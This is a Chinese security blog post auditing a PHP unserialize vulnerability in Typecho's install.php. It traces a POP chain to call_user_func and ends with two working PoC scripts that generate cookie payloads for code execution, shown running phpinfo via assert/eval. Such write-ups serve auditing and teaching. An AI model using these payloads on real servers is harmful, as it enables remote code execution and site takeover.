PHP審計之PHP反序列化漏洞
前言
一直不懂,PHP反序列化感覺上比Java的反序列化難上不少。但歸根結底還是serialize
和unserialize
中的一些問題。
在此不做多的介紹。
魔術方法
在php的反序列化中會用到各種魔術方法
__wakeup() //使用unserialize時觸發
__sleep() //使用serialize時觸發
__destruct() //對象被銷燬時觸發
__call() //在對象上下文中調用不可訪問的方法時觸發
__callStatic() //在靜態上下文中調用不可訪問的方法時觸發
__get() //用於從不可訪問的屬性讀取數據
__set() //用於將數據寫入不可訪問的屬性
__isset() //在不可訪問的屬性上調用isset()或empty()觸發
__unset() //在不可訪問的屬性上使用unset()時觸發
__toString() //把類當作字符串使用時觸發,不僅僅是echo的時候,比如file_exists()判斷也會觸發
__invoke() //當腳本嘗試將對象調用爲函數時觸發
代碼審計
尋覓漏洞點
定位到漏洞代碼install.php
<?php if (isset($_GET['finish'])) : ?>
<?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>
<h1 class="typecho-install-title"><?php _e('安裝失敗!'); ?></h1>
<div class="typecho-install-body">
<form method="post" action="?config" name="config">
<p class="message error"><?php _e('您沒有上傳 config.inc.php 文件,請您重新安裝!'); ?> <button class="btn primary" type="submit"><?php _e('重新安裝 »'); ?></button></p>
</form>
</div>
<?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>
<h1 class="typecho-install-title"><?php _e('沒有安裝!'); ?></h1>
<div class="typecho-install-body">
<form method="post" action="?config" name="config">
<p class="message error"><?php _e('您沒有執行安裝步驟,請您重新安裝!'); ?> <button class="btn primary" type="submit"><?php _e('重新安裝 »'); ?></button></p>
</form>
</div>
<?php else : ?>
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>
前面的幾個判斷比較簡單,判斷finish傳參的值是否存在,然後判斷/config.inc.php
文件是否存在,按照慣例,在php安裝完成後,會建立一個標識文件,進行識別程序是否安裝,避免重複安裝問題。
後面代碼即走到這一步
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>
接收Cookie中__typecho_config
的值,進行base64解密後再反序列化的操作。將反序列化後的數據存到$config
中,來到下面,清空cookie的值,然後實例化一個Typecho_Db
對象,將$config['adapter']
和$config['prefix']
進行存儲到該對象中。
尋找POP鏈
這時候需要尋找一個pop鏈,在PHP中一般以__construct
方法來做反序列化反序列化的第一個觸發點,而在Java裏面則是需要反序列化的該對象被重寫後的readObject方法。
來看到Db.php文件
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 獲取適配器名稱 */
$this->_adapterName = $adapterName;
/** 數據庫適配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}
$this->_prefix = $prefix;
/** 初始化內部變量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();
//實例化適配器對象
$this->_adapter = new $adapterName();
}
這裏的$adapterName
變量並且了一串Typecho_Db_Adapter_
字符串,假設$adapterName
爲一個對象的話,即可觸發到__toString()
方法。
尋找__toString
方法
Feed.php __toString
方法代碼
foreach ($links as $link) {
$result .= '<rdf:li resource="' . $link . '"/>' . self::EOL;
}
$result .= '</rdf:Seq>
</items>
</channel>' . self::EOL;
$result .= $content . '</rdf:RDF>';
} else if (self::RSS2 == $this->_type) {
...
}
self::RSS2 == $this->_type
中比較是否對等,self::RSS2
爲RSS 2.0
字符串。
所以說需要走到這個判斷條件下的邏輯在需要構造$this->_type
這個數據。
$content = '';
$lastUpdate = 0;
foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
...
}
下面這裏調用了$item['author']->screenName
,如果 $item['author'] 中存儲的類沒有'screenName'屬性或該屬性爲私有屬性,此時會觸發該類中的 __get() 魔法方法.
尋找__get
方法
/var/Typecho/Request.php
public function __get($key)
{
return $this->get($key);
}
$key 傳入的值爲 scrrenName
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}
$this->_params[$key]
值存在,即將該值賦值給$value
,然後判斷該值不等於數組和小於0則數據不變。
然後調用$this->_applyFilter($value)
繼續看到_applyFilter
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
}
return $value;
}
關鍵地方在於上面代碼中,判斷$this->_filter
是否存在並且遍歷filter
,假設上面傳入的$value
爲數組則調用array_map($filter, $value)
,否則則調用call_user_func($filter, $value)
這兩個都回調方法都可以進行代碼代碼執行。
調用鏈:
Typecho_Db.__construct -> Typecho_Feed.__toString ->Typecho_Request.__get -> Typecho_Request.get -> Typecho_Request._applyFilter
構造POP鏈
來看看需要構造的數據
-
Typecho_Db
的__construct
方法$adapterName
變量需要爲一個對象,並且是能觸發到一個點的對象。根據上面尋找到的是Typecho_Feed
這個實例化對象拼接字符串的話,會觸發__toString
。因此這個方法的參數第一個傳遞Typecho_Feed
,而第二個參數傳遞typecho_
。 -
上面分析Feed這個點的時候,需要將
self::RSS2
設置爲RSS 2.0
,這個$this->_items[author]
傳入一個不存在或者是方法爲私有屬性的screenName
方法的類。這樣可以去自動去調用__get
。在上面尋找到的是Typecho_Request
,所以這裏傳入一個Typecho_Request
實例化對象。進行自動調用__get
-
在
Typecho_Request
198行中$this->_params[$key]
這個key的值是scrrenName
,即爲$this->_params[scrrenName]
,則這個值需要設置爲一個需要執行的代碼。 -
最後走到
_applyFilter
這裏遍歷了$this->_filter
後,進行調用array_map
或call_user_func
,並且分別傳入$filter
,$value
。那麼這裏即需要設置一個$this->_filter
爲一個代碼執行的方法。那麼即可把整一個鏈給到代碼執行給串聯起來。
調試POP鏈
但是當我們按照上面的所有流程構造poc之後,發請求到服務器,卻會返回500.
在install.php
的開始,調用了ob_start()
bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
此函數將打開輸出緩衝。當輸出緩衝激活後,腳本將不會輸出內容(除http標頭外),相反需要輸出的內容被存儲在內部緩衝區中。(因此可選擇回調函數用於處理輸出結果信息)
該函數可以讓你自由地控制腳本中數據的輸出。比如可以用在輸出靜態化頁面上。而且,當你想在數據已經輸出後,再輸出文件頭的情況。輸出控制函數不對使用 header() 或 setcookie(), 發送的文件頭信息產生影響,只對那些類似於 echo() 和 PHP 代碼的數據塊有作用。原因是當打開了緩衝區,echo後面的字符不會輸出到瀏覽器,而是保留在服務器,直到你使用flush或者ob_end_flush纔會輸出,所以並不會有任何文件頭輸出的錯誤。
因爲我們上面對象注入的代碼觸發了原本的exception,導致ob_end_clean()
執行,原本的輸出會在緩衝區被清理。
我們必須想一個辦法強制退出,使得代碼不會執行到exception,這樣原本的緩衝區數據就會被輸出出來。
這裏有兩個辦法。 1、因爲call_user_func
函數處是一個循環,我們可以通過設置數組來控制第二次執行的函數,然後找一處exit跳出,緩衝區中的數據就會被輸出出來。 2、第二個辦法就是在命令執行之後,想辦法造成一個報錯,語句報錯就會強制停止,這樣緩衝區中的數據仍然會被輸出出來。
這裏使用的是上面說的第二個辦法。
<?php
class Typecho_Feed{
private $_type;
private $_items = array();
public function __construct(){
$this->_type = "RSS 2.0";
$this->_items = array(
array(
"title" => "test",
"link" => "test",
"data" => "20190430",
"author" => new Typecho_Request(),
),
);
}
}
class Typecho_Request{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params = array(
"screenName" => "eval('phpinfo();exit;')",
);
$this->_filter = array("assert");
}
}
$a = new Typecho_Feed();
$c = array(
"adapter" => $a,
"prefix" => "test",
);
echo base64_encode(serialize($c));
另外一個方法,直接mark過來,POC如下:
<?php
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct()
{
// $this->_params['screenName'] = 'whoami';
$this->_params['screenName'] = -1;
$this->_filter[0] = 'phpinfo';
}
}
class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
/** 定義ATOM 1.0類型 */
const ATOM1 = 'ATOM 1.0';
/** 定義RSS時間格式 */
const DATE_RFC822 = 'r';
/** 定義ATOM時間格式 */
const DATE_W3CDTF = 'c';
/** 定義行結束符 */
const EOL = "\n";
private $_type;
private $_items = array();
public $dateFormat;
public function __construct()
{
$this->_type = self::RSS2;
$item['link'] = '1';
$item['title'] = '2';
$item['date'] = 1507720298;
$item['author'] = new Typecho_Request();
$item['category'] = array(new Typecho_Request());
$this->_items[0] = $item;
}
}
$x = new Typecho_Feed();
$a = array(
'host' => 'localhost',
'user' => 'xxxxxx',
'charset' => 'utf8',
'port' => '3306',
'database' => 'typecho',
'adapter' => $x,
'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>
參考
[紅日安全]代碼審計Day11 - unserialize反序列化漏洞
結尾
PHP的反序列化相當於Java的反序列化個人感覺PHP的反序列化比較靈活,可以結合各種魔術方法做聯動。